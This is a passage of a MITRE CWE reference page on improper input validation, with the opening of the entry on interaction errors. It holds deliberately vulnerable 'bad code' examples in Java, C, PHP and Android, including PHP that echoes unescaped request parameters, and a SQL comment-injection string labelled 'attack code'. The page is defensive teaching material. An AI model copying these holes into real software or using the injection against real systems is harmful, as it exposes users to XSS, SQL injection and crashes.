ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.
Confidentiality

Technical Impact: Read Memory; Read Files or Directories

An attacker could read confidential data if they are able to control resource references.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)
Example Language:
...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.
Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
empty packet triggers reboot
incomplete denylist allows SQL injection
NUL byte in theme name causes directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness: High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis.

A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).
Suggestions:
CWE-IDComment
CWE-1284Specified Quantity
CWE-1285Specified Index, Position, or Offset
CWE-1286Syntactic Correctness
CWE-1287Specified Type
CWE-1288Consistency within Input
CWE-1289Unsafe Equivalence
CWE-116Improper Encoding or Escaping of Output
+ Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInput validation and representation
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingFIO30-CCWE More AbstractExclude user input from format strings
CERT C Secure CodingMEM10-CDefine and use a pointer validation function
WASC20Improper Input Handling
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html>. URL validated: 2023-04-07.
[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1109] "LANGSEC: Language-theoretic Security". <http://langsec.org/>.
[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". <http://langsec.org/bof-handout.pdf>.
[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. <https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-08-20CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2021-03-15CWE Content TeamMITRE
updated Description, Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insufficient Input Validation

CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

Weakness ID: 435
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.
+ Extended Description
When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.
+ Alternate Terms
Interaction Error
Emergent Fault
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.188Reliance on Data/Memory Layout
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.439Behavioral Change in New Version or Environment
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1038Insecure Automated Optimizations
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State; Varies by Context

+ Demonstrative Examples

Example 1

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

+ Observed Examples
ReferenceDescription
Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.
chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
